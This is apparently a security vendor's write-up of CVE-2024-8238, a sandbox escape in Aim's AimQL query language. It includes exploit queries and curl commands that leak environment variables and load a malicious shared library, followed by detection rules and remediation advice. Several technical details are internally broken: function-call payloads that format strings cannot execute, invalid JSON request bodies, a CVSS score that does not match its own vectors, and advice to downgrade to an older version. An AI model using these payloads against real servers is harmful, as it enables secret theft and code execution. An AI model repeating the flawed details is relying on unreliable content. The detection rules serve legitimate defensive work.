CVE-2024-8238

Executive Summary

CVE-2024-8238 is a critical security vulnerability in Aimhubio Aim version 3.22.0, specifically within the AimQL query language. The flaw stems from the use of an outdated version of the safer_getattr() function from RestrictedPython, which fails to protect against the str.format_map() method. This oversight allows an attacker to leak server-side secrets or potentially achieve unrestricted code execution. The vulnerability is particularly dangerous because str.format_map() can read arbitrary attributes of Python objects, enabling access to sensitive variables like os.environ. If an attacker can write files to a known location on the Aim server, they can use str.format_map() to load a malicious .dll or .so file into the Python interpreter, leading to full system compromise.

Supply Chain & Package Security

This vulnerability affects the Python package aim from Aimhubio. Organizations using this package in their data science or machine learning pipelines should immediately assess their exposure. The supply chain risk is elevated because the vulnerable component is a core part of the AimQL query language, which may be exposed to untrusted users in multi-tenant environments.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The threat level is elevated due to the potential for information disclosure and code execution, despite the medium CVSS score. The low attack complexity and no required privileges make it attractive for attackers.

Deep Dive & Mechanics

The vulnerability resides in the AimQL query language's use of safer_getattr() from RestrictedPython. The outdated version does not block the str.format_map() method, which can be used to access arbitrary attributes of Python objects. For example, an attacker can craft a query that uses str.format_map() to read environment variables:

# Malicious AimQL query
query = "{0.__class__.__init__.__globals__[os].environ}".format_map({"0": ""})

This query would return the contents of os.environ, leaking sensitive environment variables. If the attacker can write a malicious .dll or .so file to a known location (e.g., via file upload functionality), they can use str.format_map() to load it:

# Loading a malicious shared object
query = "{0.__class__.__init__.__globals__[__builtins__][__import__]('ctypes').CDLL('/path/to/malicious.so')}".format_map({"0": ""})

This would execute arbitrary code in the Python interpreter, leading to full system compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Aim 3.22.0):

# In the AimQL parser, using outdated safer_getattr
from RestrictedPython import safe_builtins, safer_getattr

def evaluate_expression(expr, context):
    # This does not block str.format_map
    return safer_getattr(context, expr)

Patched Code (Hypothetical):

# Updated safer_getattr that blocks str.format_map
from RestrictedPython import safe_builtins, safer_getattr

def evaluate_expression(expr, context):
    # Block dangerous methods
    if 'format_map' in expr:
        raise ValueError("Blocked dangerous method")
    return safer_getattr(context, expr)

The patch would need to either update RestrictedPython to a version that blocks str.format_map() or implement custom filtering in the AimQL parser.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Aim 3.22.0: pip install aim==3.22.0
2. Start the Aim server: aim up
3. Send a malicious AimQL query to leak environment variables:

curl -X POST http://localhost:43899/api/aimql \
  -H "Content-Type: application/json" \
  -d '{"query": "{0.__class__.__init__.__globals__[os].environ}".format_map({"0": ""})}'

Exploitation Steps:

1. Identify a file upload endpoint on the Aim server (e.g., for storing datasets).
2. Upload a malicious .so file (Linux) or .dll file (Windows) to a known path.
3. Execute the malicious library using str.format_map():

curl -X POST http://localhost:43899/api/aimql \
  -H "Content-Type: application/json" \
  -d '{"query": "{0.__class__.__init__.__globals__[__builtins__][__import__](\"ctypes\").CDLL(\"/tmp/malicious.so\")}".format_map({"0": ""})}'

Blue Team

Detection:

• Monitor AimQL queries for patterns containing format_map, __class__, __init__, __globals__, or __builtins__.
• Alert on any file uploads to the Aim server that are not part of normal operations.
• Use network monitoring to detect unusual outbound connections from the Aim server.

Mitigation:

• Immediately isolate the Aim server if exploitation is suspected.
• Review logs for any AimQL queries that contain suspicious strings.
• Block file uploads to the Aim server until a patch is applied.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /api/aimql containing format_map in the query body.
• File System: Unexpected .dll or .so files in the Aim server's data directory.
• Process: Python processes executing ctypes.CDLL or ctypes.WinDLL with unusual arguments.
• Logs: Aim server logs showing errors related to safer_getattr or format_map.

Detection Engineering

YARA Rule

rule CVE_2024_8238_AimQL_Exploit {
    meta:
        description = "Detects AimQL queries exploiting str.format_map() for CVE-2024-8238"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8238"
    strings:
        $format_map = "format_map"
        $class = "__class__"
        $globals = "__globals__"
        $builtins = "__builtins__"
        $ctypes = "ctypes"
    condition:
        all of ($format_map, $class, $globals) or
        all of ($format_map, $builtins, $ctypes)
}

Sigma Rule

title: CVE-2024-8238 AimQL str.format_map Exploitation
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests to AimQL endpoint containing str.format_map exploitation patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: aim
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/aimql'
        cs-uri-query|contains:
            - 'format_map'
            - '__class__'
            - '__globals__'
            - '__builtins__'
            - 'ctypes'
    condition: selection
falsepositives:
    - Legitimate use of format_map in non-malicious contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8238 AimQL str.format_map Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/aimql"; http_uri; content:"format_map"; http_client_body; content:"__class__"; http_client_body; content:"__globals__"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the AimQL query language or restrict access to the Aim server to trusted users only.
2. Patch: Apply any available updates from Aimhubio. If no patch is available, consider downgrading to a version before 3.22.0 or implementing a WAF rule to block malicious queries.
3. Workaround: Implement input validation in the AimQL parser to block str.format_map() and other dangerous methods.
4. Monitoring: Enable detailed logging for all AimQL queries and monitor for suspicious patterns.
5. Network Segmentation: Place the Aim server behind a firewall and restrict access to authorized IPs only.

Valters IT